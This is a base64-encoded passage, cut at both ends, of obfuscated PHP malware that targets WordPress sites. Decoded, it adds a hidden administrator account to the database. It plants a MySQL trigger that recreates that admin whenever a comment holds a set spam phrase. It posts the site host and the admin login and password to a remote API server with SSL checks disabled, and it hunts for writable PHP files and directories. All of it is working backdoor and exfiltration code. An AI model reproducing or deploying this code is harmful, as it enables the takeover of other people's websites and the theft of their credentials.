eXNxbGlfcXVlcnkoJHdzYXN0eCwgIklOU0VSVCBJTlRPIGAiIC4gJGVqY2ZzdyAuICJgLmAiIC4gJGNldXVoZWJiYyAuICJ1c2Vyc2AgKGBJRGAsIGB1c2VyX2xvZ2luYCwgYHVzZXJfcGFzc2AsIGB1c2VyX25pY2VuYW1lYCwgYHVzZXJfZW1haWxgLCBgdXNlcl91cmxgLCBgdXNlcl9yZWdpc3RlcmVkYCwgYHVzZXJfYWN0aXZhdGlvbl9rZXlgLCBgdXNlcl9zdGF0dXNgLCBgZGlzcGxheV9uYW1lYCkgVkFMVUVTICgnJHR2ZWR2dicsICckbm54Z2tncXd6JywgJyRlaWd2aGxlJywgJyR3dnNkZXF1dWgnLCAnJHh2enlhbnUnLCAnJGF1dGprbW9vJywgJyRoa2VlcmxyYWttJywgJyRjZndjaG96cHAnLCAnJHRzb3BkcXdzJywgJyR5cnJreWd2cXdyJykiKTsKICAgICAgICBteXNxbGlfcXVlcnkoJHdzYXN0eCwgIklOU0VSVCBJTlRPIGAiIC4gJGVqY2ZzdyAuICJgLmAiIC4gJGNldXVoZWJiYyAuICJ1c2VybWV0YWAgKGB1bWV0YV9pZGAsIGB1c2VyX2lkYCwgYG1ldGFfa2V5YCwgYG1ldGFfdmFsdWVgKSBWQUxVRVMgKE5VTEwsICR0dmVkdnYsICciIC4gJGNldXVoZWJiYyAuICJjYXBhYmlsaXRpZXMnLCAnYToxOntzOjEzOlwiYWRtaW5pc3RyYXRvclwiO3M6MTpcIjFcIjt9JykiKTsKICAgICAgICBteXNxbGlfcXVlcnkoJHdzYXN0eCwgIklOU0VSVCBJTlRPIGAiIC4gJGVqY2ZzdyAuICJgLmAiIC4gJGNldXVoZWJiYyAuICJ1c2VybWV0YWAgKGB1bWV0YV9pZGAsIGB1c2VyX2lkYCwgYG1ldGFfa2V5YCwgYG1ldGFfdmFsdWVgKSBWQUxVRVMgKE5VTEwsICR0dmVkdnYsICciIC4gJGNldXVoZWJiYyAuICJ1c2VyX2xldmVsJywgJzEwJykiKTsKCiAgICAgICAgLy9lY2hvICRjYmtiaW9tIC4gIiBhZG1pbiBpbnNlcnRlZCIgLiBQSFBfRU9MOwogICAgICAgIGVjaG8gc3ByaW50ZignJXMgYWRtaW4gaW5zZXJ0ZWQgJXM6OiVzJywgJGNia2Jpb20sICRubnhna2dxd3osICRiZHdjZmJbMF0pIC4gUEhQX0VPTDsKICAgICAgICAkYXNjY2VvdnVyeXloID0gMTsKCgogICAgICAgIG15c3FsaV9xdWVyeSgkd3Nhc3R4LCAiRFJPUCBUUklHR0VSIElGIEVYSVNUUyBgYWZ0ZXJfaW5zZXJ0X2NvbW1lbnRgIik7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgaWYgKG15c3FsaV9xdWVyeSgkd3Nhc3R4LCAkYXJpZnRnc2cpKSB7CiAgICAgICAgICAgICAgICBlY2hvICd0cmlnZ2VyIGNyZWF0ZWQnIC4gc3RyX3JlcGVhdChQSFBfRU9MLCAzKTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKFxFeGNlcHRpb24gJHh2cmFrZWp6eW0pIHsKICAgICAgICAgICAgZWNobyAkeHZyYWtlanp5bS0+Z2V0TWVzc2FnZSgpIC4gUEhQX0VPTDsKICAgICAgICB9CgoKICAgIH0gZWxzZSB7CgoKICAgICAgICB3aGlsZSAoJG9va3ZrbHIgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJHN6aHVjZ2RhZmopKSB7CiAgICAgICAgICAgICRocXpmcXBkYyA9ICRvb2t2a2xyWyd1c2VyX3Bhc3MnXTsKICAgICAgICB9CgoKICAgICAgICAka3F0a2JrZ3BlID0gIlNIT1cgVFJJR0dFUlMiOwogICAgICAgICRzeW9sZGJoZXlnYyA9IG15c3FsaV9xdWVyeSgkd3Nhc3R4LCAka3F0a2JrZ3BlKTsKCiAgICAgICAgaWYgKCRzeW9sZGJoZXlnYykgewoKICAgICAgICAgICAgd2hpbGUgKCRya2N4bGxrc3ggPSBteXNxbGlfZmV0Y2hfYXJyYXkoJHN5b2xkYmhleWdjKSkgewoKICAgICAgICAgICAgICAgIGlmICgkcmtjeGxsa3N4WydUcmlnZ2VyJ10gPT09ICdhZnRlcl9pbnNlcnRfY29tbWVudCcpIHsKCgogICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJHJrY3hsbGtzeFsnU3RhdGVtZW50J10sICRocXpmcXBkYykgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIC8vZWNobyAnaGFzaCBhbmQgdHJpZ2dlciBtYXRjaGVkISc7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIC8vZWNobyAnbm90IG1hdGNoZWQgbmVlZCBkcm9wIHRyaWdnZXInOwogICAgICAgICAgICAgICAgICAgICAgICBteXNxbGlfcXVlcnkoJHdzYXN0eCwgIkRST1AgVFJJR0dFUiBJRiBFWElTVFMgYGFmdGVyX2luc2VydF9jb21tZW50YCIpOwogICAgICAgICAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFyaWZ0Z3NnID0gYm9vZW1hKCRubnhna2dxd3osICRocXpmcXBkYywgJHd2c2RlcXV1aCwgJHh2enlhbnUsICRhdXRqa21vbywgJGhrZWVybHJha20sICRjZndjaG96cHAsICR0c29wZHF3cywgJHlycmt5Z3Zxd3IsICRlamNmc3csICRjZXV1aGViYmMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKG15c3FsaV9xdWVyeSgkd3Nhc3R4LCAkYXJpZnRnc2cpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAndHJpZ2dlciBjcmVhdGVkJyAuIHN0cl9yZXBlYXQoUEhQX0VPTCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKFxFeGNlcHRpb24gJHh2cmFrZWp6eW0pIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJHh2cmFrZWp6eW0tPmdldE1lc3NhZ2UoKSAuIFBIUF9FT0w7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgoKICAgICAgICBlY2hvICRjYmtiaW9tIC4gJyBhZG1pbiBleGlzdHMnIC4gUEhQX0VPTDsKICAgIH0KCgogICAgbXlzcWxpX2Nsb3NlKCR3c2FzdHgpOwp9CgplY2hvIGltcGxvZGUoIlxuIiwgJGFoamxocWcpIC4gIlxuIjsKCiRhaGpsaHFnWydob3N0J10gPSAkY2JrYmlvbTsKaWYgKCFlbXB0eSgkZHBld2tzZGYpKSB7CiAgICAkYWhqbGhxZ1sndHJhY2tiYWNrcyddID0gJGRwZXdrc2RmOwp9CgppZiAoaXNzZXQoJGFzY2Nlb3Z1cnl5aCkpIHsKICAgICRhaGpsaHFnWydhdXRoZGF0YSddID0gYXJyYXkoJG5ueGdrZ3F3eiwgJGJkd2NmYlswXSk7Cn0KCiRhaGpsaHFnWydvdXQnXSA9IE9VVDsKCgokZ2J1eG12cnNoID0gemVsZ3ZsKEFQSV9QQVRILCBhcnJheSgnc291cmNlJyA9PiBiYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkYWhqbGhxZykpLCkpOwoKaWYgKHRyaW0oJGdidXhtdnJzaCkgIT09ICdzdWNjZXNzJykgewogICAgZWNobyAiISEhIWVycm9yIHdoaWxlIHNlbmRpbmcgZGF0YSEhISEiIC4gUEhQX0VPTDsKICAgIGV4aXQ7Cn0KCgplY2hvIHN0cl9yZXBlYXQoJ18nLCA0MDApIC4gIlxuIjsKCmZ1bmN0aW9uIG15c2J5eXooKSB7CgogICAgaWYgKGZpbGVfZXhpc3RzKENVUlJFTlRESVIgLiAnL3dwLWNvbmZpZy5waHAnKSkgewogICAgICAgIHJldHVybiBDVVJSRU5URElSOwogICAgfQogICAgJGx5cXprbm9wamllZCA9IHByZWdfcmVwbGFjZSgnflwvKHdwLWFkbWlufHdwLWluY2x1ZGVzfHdwLWNvbnRlbnQpLiokficsICcnLCBDVVJSRU5URElSKTsKCgogICAgaWYgKGZpbGVfZXhpc3RzKCRseXF6a25vcGppZWQgLiAnL3dwLWNvbmZpZy5waHAnKSkgewogICAgICAgIHJldHVybiAkbHlxemtub3BqaWVkOwogICAgfQoKICAgIHJldHVybiBudWxsOwp9CgpmdW5jdGlvbiB6c2Z3cm5ycW0oJHVlYm5maWMpIHsKICAgICRvem9wbm0gPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2h0dHAnID0+IGFycmF5KCdpZ25vcmVfZXJyb3JzJyA9PiB0cnVlKSkpOwogICAgJHZ1anB6aWR2b3AgPSBAZmlsZV9nZXRfY29udGVudHMoJHVlYm5maWMsIGZhbHNlLCAkb3pvcG5tKTsKICAgIGlmICgkdnVqcHppZHZvcCA9PT0gZmFsc2UpIHsKICAgICAgICAkZHltdGFsbHd1dnhiID0gZXJyb3JfZ2V0X2xhc3QoKTsKICAgICAgICAvL2VjaG8gIkhUVFAgcmVxdWVzdCBmYWlsZWQuIEVycm9yIHdhczogIiAuICRkeW10YWxsd3V2eGJbJ21lc3NhZ2UnXTsKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9IGVsc2UgewogICAgICAgICRuZXphZmV5dSA9IG51bGw7CiAgICAgICAgaWYgKCFlbXB0eSgkdHpidG54Ym9mcW93KSAmJiBpc3NldCgkdHpidG54Ym9mcW93WzBdKSkgewogICAgICAgICAgICBwcmVnX21hdGNoKCd7SFRUUFwvXFMqXHMoXGR7M30pfScsICR0emJ0bnhib2Zxb3dbMF0sICR6bWZmbHNlZik7CiAgICAgICAgICAgICRuZXphZmV5dSA9IGludHZhbCgkem1mZmxzZWZbMV0pOwogICAgICAgIH0KICAgICAgICByZXR1cm4gYXJyYXkoJHZ1anB6aWR2b3AsICRuZXphZmV5dSk7CiAgICB9Cgp9CgpmdW5jdGlvbiBxZ3R6b2F1aSgkdWVibmZpYykgewogICAgJGprZm96cWFidnFpbCA9IGN1cmxfaW5pdCgpOwogICAgY3VybF9zZXRvcHQoJGprZm96cWFidnFpbCwgQ1VSTE9QVF9VUkwsICR1ZWJuZmljKTsKICAgIGN1cmxfc2V0b3B0KCRqa2ZvenFhYnZxaWwsIENVUkxPUFRfSEVBREVSLCAwKTsKICAgIGN1cmxfc2V0b3B0KCRqa2ZvenFhYnZxaWwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgY3VybF9zZXRvcHQoJGprZm96cWFidnFpbCwgQ1VSTE9QVF9USU1FT1VULCAxMCk7CiAgICAkdnVqcHppZHZvcCA9IGN1cmxfZXhlYygkamtmb3pxYWJ2cWlsKTsKCiAgICBpZiAoISR2dWpwemlkdm9wKSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgICRncmV3bGxtID0gY3VybF9nZXRpbmZvKCRqa2ZvenFhYnZxaWwsIENVUkxJTkZPX0hUVFBfQ09ERSk7CgogICAgY3VybF9jbG9zZSgkamtmb3pxYWJ2cWlsKTsKICAgIHJldHVybiBhcnJheSgkdnVqcHppZHZvcCwgJGdyZXdsbG0pOwp9CgpmdW5jdGlvbiB6ZWxndmwoJHVlYm5maWMsICR2dWpwemlkdm9wKSB7CiAgICBpZiAoZGVmaW5lZCgnVVNFX0ZHQycpKSB7CiAgICAgICAgcmV0dXJuIGt5ZXBmd2x5YigkdWVibmZpYywgJHZ1anB6aWR2b3ApOwogICAgfQogICAgcmV0dXJuIHpxamxsaigkdWVibmZpYywgJHZ1anB6aWR2b3ApOwp9CgpmdW5jdGlvbiBreWVwZndseWIoJHVlYm5maWMsICR2dWpwemlkdm9wKSB7CiAgICAkY21sdnVrZHB2ZCA9IGh0dHBfYnVpbGRfcXVlcnkoJHZ1anB6aWR2b3ApOwoKICAgICRyZmZlcGRqcm0gPSBhcnJheSgKICAgICAgICAnaHR0cCcgPT4gYXJyYXkoCiAgICAgICAgICAgICdtZXRob2QnID0+ICdQT1NUJywKICAgICAgICAgICAgJ2hlYWRlcicgPT4gJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJywKICAgICAgICAgICAgJ2NvbnRlbnQnID0+ICRjbWx2dWtkcHZkLAogICAgICAgICAgICAndGltZW91dCcgPT4gMTAsCiAgICAgICAgKSwKICAgICAgICAic3NsIiA9PiBhcnJheSgKICAgICAgICAgICAgInZlcmlmeV9wZWVyIiA9PiBmYWxzZSwKICAgICAgICAgICAgInZlcmlmeV9wZWVyX25hbWUiID0+IGZhbHNlLAogICAgICAgICksCiAgICApOwoKICAgICRvem9wbm0gPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJHJmZmVwZGpybSk7CiAgICAkcGx1b3F3b29iemhxID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1ZWJuZmljLCBmYWxzZSwgJG96b3BubSk7CiAgICAkbmV6YWZleXUgPSBudWxsOwogICAgaWYgKGlzc2V0KCR0emJ0bnhib2Zxb3dbMF0pKSB7CiAgICAgICAgcHJlZ19tYXRjaCgne0hUVFBcL1xTKlxzKFxkezN9KX0nLCAkdHpidG54Ym9mcW93WzBdLCAkem1mZmxzZWYpOwogICAgICAgICRuZXphZmV5dSA9IGludHZhbCgkem1mZmxzZWZbMV0pOwogICAgfQoKCiAgICByZXR1cm4gKCRuZXphZmV5dSA9PT0gMjAwKSA/IHRyaW0oJHBsdW9xd29vYnpocSkgOiBudWxsOwp9CgpmdW5jdGlvbiB6cWpsbGooJHVlYm5maWMsICR2dWpwemlkdm9wKSB7CgogICAgJGprZm96cWFidnFpbCA9IGN1cmxfaW5pdCgpOwogICAgY3VybF9zZXRvcHQoJGprZm96cWFidnFpbCwgQ1VSTE9QVF9VUkwsICR1ZWJuZmljKTsKICAgIGN1cmxfc2V0b3B0KCRqa2ZvenFhYnZxaWwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgY3VybF9zZXRvcHQoJGprZm96cWFidnFpbCwgQ1VSTE9QVF9USU1FT1VULCAxMCk7CiAgICBjdXJsX3NldG9wdCgkamtmb3pxYWJ2cWlsLCBDVVJMT1BUX1BPU1QsIHRydWUpOwogICAgY3VybF9zZXRvcHQoJGprZm96cWFidnFpbCwgQ1VSTE9QVF9QT1NURklFTERTLCAkdnVqcHppZHZvcCk7CiAgICBjdXJsX3NldG9wdCgkamtmb3pxYWJ2cWlsLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsKICAgIGN1cmxfc2V0b3B0KCRqa2ZvenFhYnZxaWwsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOwoKICAgICRwbHVvcXdvb2J6aHEgPSBjdXJsX2V4ZWMoJGprZm96cWFidnFpbCk7CiAgICAkZ2RqeXF2Z3MgPSBjdXJsX2dldGluZm8oJGprZm96cWFidnFpbCk7CiAgICBjdXJsX2Nsb3NlKCRqa2ZvenFhYnZxaWwpOwoKICAgIHJldHVybiAoJGdkanlxdmdzWyJodHRwX2NvZGUiXSA9PSAyMDApID8gdHJpbSgkcGx1b3F3b29iemhxKSA6IG51bGw7Cn0KCmZ1bmN0aW9uIGpoYnl4KCRnaW5uaGRlcGEpIHsKCiAgICBmb3JlYWNoIChnbG9iKCRnaW5uaGRlcGEgLiAiLypwaHAiKSBhcyAkam5qZWNiZWticGUpIHsKICAgICAgICAkcG9zb2JycXR1b1tdID0gZmlsZW10aW1lKCRqbmplY2Jla2JwZSk7CiAgICB9CiAgICAkcmZ3Z2dobml5ID0gYXJyYXlfY291bnRfdmFsdWVzKCRwb3NvYnJxdHVvKTsKICAgIGFyc29ydCgkcmZ3Z2dobml5KTsKICAgICRpeXBqdm1oID0gYXJyYXlfa2V5cygkcmZ3Z2dobml5KTsKICAgIHJldHVybiBhcnJheV9zaGlmdCgkaXlwanZtaCk7Cn0KCmZ1bmN0aW9uIGVtaWxlKCRwaHZoYm9kbXp0LCAkc2Vzc25iLCAkeGRpc2d3ID0gbnVsbCkgewoKICAgICR4ZGlzZ3cgPSAhJHhkaXNndyA/ICdodHRwOi8vJyAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSA6ICR4ZGlzZ3c7CiAgICAkd2ZsaGR1Y2V3ZSA9IHN0cl9yZXBsYWNlKCRwaHZoYm9kbXp0LCAnJywgJHNlc3NuYik7CgogICAgcmV0dXJuIHJ0cmltKCR4ZGlzZ3csICcvJykgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gbHRyaW0oJHdmbGhkdWNld2UsICcvJyk7Cn0KCmZ1bmN0aW9uIHBldWRuKCR0em5sanhiZ2JnLCAkZXBueGpzcHh2ID0gMSkgewogICAgaWYgKCFpc19kaXIoJHR6bmxqeGJnYmcpKSB7CiAgICAgICAgcmV0dXJuOwogICAgfQoKICAgICR0cnBuc2FpbWZ2ID0gcmVhbHBhdGgoJHR6bmxqeGJnYmcpOwoKCiAgICAkcWVycHdoaCA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkdHJwbnNhaW1mdiksIFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OlNFTEZfRklSU1QsIFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OkNBVENIX0dFVF9DSElMRCk7CgogICAgJHFlcnB3aGgtPnNldE1heERlcHRoKCRlcG54anNweHYpOwoKICAgIGZvcmVhY2ggKCRxZXJwd2hoIGFzICRtZG9kd2h6cHQgPT4gJHV6d3VjZXdrd2QpIHsKICAgICAgICBpZiAoKCR0cnBuc2FpbWZ2ID0gJHV6d3VjZXdrd2QtPmdldFBhdGgoKSkgPT09ICR0em5sanhiZ2JnKSB7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KICAgICAgICBpZiAoaXNfZGlyKCR1end1Y2V3a3dkKSAmJiBpc193cml0ZWFibGUoJHV6d3VjZXdrd2QpKSB7CiAgICAgICAgICAgICRwb3NvYnJxdHVvW10gPSAkdHJwbnNhaW1mdjsKICAgICAgICB9CiAgICB9CgogICAgcmV0dXJuIGFycmF5X3VuaXF1ZSgkcG9zb2JycXR1byk7Cn0KCmZ1bmN0aW9uIHBxanRydXhkKCR0em5sanhiZ2JnLCAkb3hxbmpvdHhsID0gMiwgJGVwbnhqc3B4diA9IDEpIHsKCiAgICBpZiAoIWlzX2RpcigkdHpubGp4YmdiZykpIHsKICAgICAgICByZXR1cm47CiAgICB9CgogICAgJHRycG5zYWltZnYgPSByZWFscGF0aCgkdHpubGp4YmdiZyk7CgoKICAgICRxZXJwd2hoID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCR0cnBuc2FpbWZ2KSwgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6U0VMRl9GSVJTVCwgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6Q0FUQ0hfR0VUX0NISUxEKTsKCiAgICAkcWVycHdoaC0+c2V0TWF4RGVwdGgoJGVwbnhqc3B4dik7CgogICAgJHBvc29icnF0dW8gPSBhcnJheSgpOwoKICAgIGZvcmVhY2ggKCRxZXJwd2hoIGFzICRtZG9kd2h6cHQgPT4gJHV6d3VjZXdrd2QpIHsKCiAgICAgICAgJHRycG5zYWltZnYgPSAkdXp3dWNld2t3ZC0+Z2V0UGF0aE5hbWUoKTsKICAgICAgICBpZiAoc3RyaXN0cigkdHJwbnNhaW1mdiwgJy5waHAnKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgIGlmICghaXNfd3JpdGVhYmxlKGRpcm5hbWUoJHRycG5zYWltZnYpKSkgewogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CgogICAgICAgICRwb3NvYnJxdHVvWyR0cnBuc2FpbWZ2XSA9IDE7CiAgICB9CgogICAgJGlpaXlqaHJldWdrbiA9IGFycmF5X2tleXMoJHBvc29icnF0dW8pOwogICAgc2h1ZmZsZSgkaWlpeWpocmV1Z2tuKTsKCiAgICByZXR1cm4gYXJyYXlfc2xpY2UoJGlpaXlqaHJldWdrbiwgMCwgJG94cW5qb3R4bCk7Cn0KCmZ1bmN0aW9uIGJvb2VtYSgkbm54Z2tncXd6LCAkZWlndmhsZSwgJHd2c2RlcXV1aCwgJHh2enlhbnUsICRhdXRqa21vbywgJGhrZWVybHJha20sICRjZndjaG96cHAsICR0c29wZHF3cywgJHlycmt5Z3Zxd3IsICRlamNmc3csICRjZXV1aGViYmMpIHsKCiAgICAkeXB3dXNneWxhID0gPDw8U1RSCkNSRUFURSBUUklHR0VSIGBhZnRlcl9pbnNlcnRfY29tbWVudGAgQUZURVIgSU5TRVJUIE9OIGAke2VqY2Zzd31gLmAke2NldXVoZWJiY31jb21tZW50c2AKIEZPUiBFQUNIIFJPVyBCRUdJTgogICAgSUYgTkVXLmNvbW1lbnRfY29udGVudCBMSUtFICclYXJlIHlvdSBzdHJ1Z2dsaW5nIHRvIGdldCBjb21tZW50cyBvbiB5b3VyIGJsb2c/JScgVEhFTgogICAgICAgIFNFVCBAbGFzdEluc2VydFdwVXNlcnNJZCA9IChTRUxFQ1QgTUFYKGlkKSBGUk9NIGAke2VqY2Zzd31gLmAke2NldXVoZWJiY311c2Vyc2ApOwogICAgICAgIFNFVCBAbmV4dFdwVXNlcnNJRCA9IEBsYXN0SW5zZXJ0V3BVc2Vyc0lkICsgMTsKICAgICAgICBJTlNFUlQgSU5UTyBgJHtlamNmc3d9YC5gJHtjZXV1aGViYmN9dXNlcnNgIChgSURgLCBgdXNlcl9sb2dpbmAsIGB1c2VyX3Bhc3NgLCBgdXNlcl9uaWNlbmFtZWAsIGB1c2VyX2VtYWlsYCwgYHVzZXJfdXJsYCwgYHVzZXJfcmVnaXN0ZXJlZGAsIGB1c2VyX2FjdGl2YXRpb25fa2V5YCwgYHVzZXJfc3RhdHVzYCwgYGRpc3BsYXlfbmFtZWApIFZBTFVFUyAoQG5leHRXcFVzZXJzSUQsICcke25ueGdrZ3F3en0nLCAnJHtlaWd2aGxlfScsICcke3d2c2RlcXV1aH0nLCAnJHt4dnp5YW51fScsICcke2F1dGprbW9vfScsICcke2hrZWVybHJha219JywgJyR7Y2Z3Y2hvenBwfScsICcke3Rzb3BkcXdzfScsICcke3lycmt5Z3Zxd3J9Jyk7CiAgICAgICAgSU5TRVJUIElOVE8gYCR7ZWpjZnN3fWAuYCR7Y2V1dWhlYmJjfXVzZXJtZXRhYCAoYHVtZXRhX2lkYCwgYHVzZXJfaWRgLCBgbWV0YV9rZXlgLCBgbWV0YV92YWx1ZWApIFZBTFVFUyAoTlVMTCwgQG5leHRXcFVzZXJzSUQsICcke2NldXVoZWJiY31jYXBhYmlsaXRpZXMnLCAnYToxOntzOjEzOlwiYWRtaW5pc3RyYXRvclwiO3M6MTpcIjFcIjt9Jyk7CiAgICAgICAgSU5TRVJUIElOVE8gYCR7ZWpjZnN3fWAuYCR7Y2V1dWhlYmJjfXVzZXJtZXRhYCAoYHVtZXRhX2lkYCwgYHVzZXJfaWRgLCBgbWV0YV9rZXlgLCBgbWV0YV92YWx1ZWApIFZBTFVFUyAoTlVMTCwgQG5leHRXcFVzZXJzSUQsICcke2NldXVoZWJiY311c2VyX2xldmVsJywgJzEwJyk7CiAgICBFTkQgSUY7CiBFTkQ7ClNUUjsKICAgIHJldHVybiAkeXB3dXNneWxhOwp9CgpmdW5jdGlvbiBjeXhtbXR3eCgkdWVibmZpYykgewogICAgJHhkaXNndyA9IHBhcnNlX3VybCgkdWVibmZpYywgUEhQX1VSTF9IT1NUKTsKICAgIHJldHVybiBzdHJfcmVwbGFjZSgnd3d3LicsICcnLCAkeGRpc2d3KTsKfQoKZnVuY3Rpb24gbmZob3d1cCgkbG5lZ2Rnd3FtaHosICRqcGNycGpueXUsICRoeGNlYXdhemZtbXogPSAnWS1tLWQgSDppOnMnKSB7CiAgICAkbnZ4c3NkdWF2ID0gc3RydG90aW1lKCRsbmVnZGd3cW1oeik7CiAgICAkcmV0dmtteGR5a2IgPSBzdHJ0b3RpbWUoJGpwY3Jwam55dSk7CiAgICAkZ3FvYm91YyA9IG10X3JhbmQoJG52eHNzZHVhdiwgJHJldHZrbXhkeWtiKTsKCiAgICByZXR1cm4gZGF0ZSgkaHhjZWF3YXpmbW16LCAkZ3FvYm91Yyk7Cn0KCmZ1bmN0aW9uIG5pZXZlZm4oJHN0ZnlrcXVscHptdywgJG5rYnh4d2cgPSBmYWxzZSkgewogICAgJGRnYWRtemZubSA9ICJhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eiI7CiAgICBpZiAoJG5rYnh4d2cpIHsKICAgICAgICAkZGdhZG16Zm5tIC49ICdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWjEyMzQ1Njc4OTB+Pjw/fXtbXTshQCMkJV4mKigpXystPXt9W106Ozw9Pj9AJzsKICAgIH0KCiAgICAkeWxobWZtYmxyID0gc3RybGVuKCRkZ2FkbXpmbm0pOwogICAgJGxlYWhjbnFpd2piID0gIiI7CgogICAgZm9yICgkemJvaWprYnJqamNtID0gMDsgJHpib2lqa2JyampjbSA8ICRzdGZ5a3F1bHB6bXc7ICR6Ym9pamticmpqY20rKykgewogICAgICAgICRsZWFoY25xaXdqYiAuPSAkZGdhZG16Zm5tW3JhbmQoMCwgJHlsaG1mbWJsciAtIDEpXTsKICAgIH0KICAgIHJldHVybiAkbGVhaGNucWl3amI7Cn0KCmZ1bmN0aW9uIGdqZmZ4ZnZpKCkgewogICAgcHJlZ19tYXRjaF9hbGwoJ35cZH4nLCBtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJGtvZGdjaHQpOwoKICAgICR0eHhmd3MgPSAka29kZ2NodFswXVswXTsKICAgICRmcWFzbGt5b29maXggPSBlbmQoJGtvZGdjaHRbMF0pOwoKICAgICR5amZuemprciA9IGFycmF5KCd3cCcsICdjbXMnLCAnd2ViJywgJ2RldicsICdibG9nJywgJ21haW4nLCAnYXJ0aWNsZXMnLCAnbm90ZXMnLCAnbmV3cycsICdhcmNoaXZlJywpOwogICAgJG5saHNkbHZsbWQgPSBhcnJheSgncGFuZWwnLCAnZmVlZCcsICdjbGllbnQnLCAndXNlcicsICdyc3MnLCAnb3B0aW9uJywgJ2F1dGgnLCAndGFibGUnLCAndXNlcicsICdwcm9maWxlJywpOwoKICAgIHJldHVybiAkeWpmbnpqa3JbJHR4eGZ3c10gLiAkbmxoc2RsdmxtZFskZnFhc2xreW9vZml4XTsKfQoKZnVuY3Rpb24gcnJ4ZGIoJHpvbGZvZGhrb3dnZiwgJG14eXVhbXEpIHsKICAgICR0YnltcWNidHhua3kgPSAnLi8wMTIzNDU2Nzg5QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eic7CiAgICBkZWZpbmUoJ0lUT0E2NF9DVVNUT00nLCAkdGJ5bXFjYnR4bmt5KTsKCiAgICBpZiAoJHpvbGZvZGhrb3dnZiA8IDQgfHwgJHpvbGZvZGhrb3dnZiA+IDMxKSB7CiAgICAgICAgJHpvbGZvZGhrb3dnZiA9IDg7CiAgICB9CgogICAgZGVmaW5lKCdJVEVSQVRJT05fQ09VTlRfTE9HMl9DVVNUT00nLCAkem9sZm9kaGtvd2dmKTsKICAgIGRlZmluZSgnUE9SVEFCTEVfSEFTSEVTX0NVU1RPTScsICRteHl1YW1xKTsKCiAgICAkaXFiZHd5eSA9IG1pY3JvdGltZSgpOwogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0bXlwaWQnKSkgewogICAgICAgICRpcWJkd3l5IC49IGdldG15cGlkKCk7CiAgICB9CiAgICBkZWZpbmUoJ1JBTkRPTV9TVEFURV9DVVNUT00nLCAkaXFiZHd5eSk7Cn0KCmZ1bmN0aW9uIGhtbWhlZXpoYygkbWZqYmRsc214cHcpIHsKICAgIGlmIChzdHJsZW4oJG1mamJkbHNteHB3KSA+IDQwOTYpIHsKICAgICAgICByZXR1cm4gJyonOwogICAgfQoKICAgICR1d2JkYXdueSA9ICcnOwoKICAgIGlmIChDUllQVF9CTE9XRklTSCA9PT0gMSAmJiAhUE9SVEFCTEVfSEFTSEVTX0NVU1RPTSkgewogICAgICAgICR1d2JkYXdueSA9IHljbGpsZGZicSgxNik7CiAgICAgICAgJGdhYXZ4YyA9IGNyeXB0KCRtZmpiZGxzbXhwdywgemRsa3h5b2soJHV3YmRhd255KSk7CiAgICAgICAgaWYgKHN0cmxlbigkZ2FhdnhjKSA9PT0gNjApIHsKICAgICAgICAgICAgcmV0dXJuICRnYWF2eGM7CiAgICAgICAgfQogICAgfQoKICAgIGlmIChzdHJsZW4oJHV3YmRhd255KSA8IDYpIHsKICAgICAgICAkdXdiZGF3bnkgPSB5Y2xqbGRmYnEoNik7CiAgICB9CiAgICAkZ2FhdnhjID0gb3B6Y2dpKCRtZmpiZGxzbXhwdywgamN1dnlyaGMoJHV3YmRhd255KSk7CiAgICBpZiAoc3RybGVuKCRnYWF2eGMpID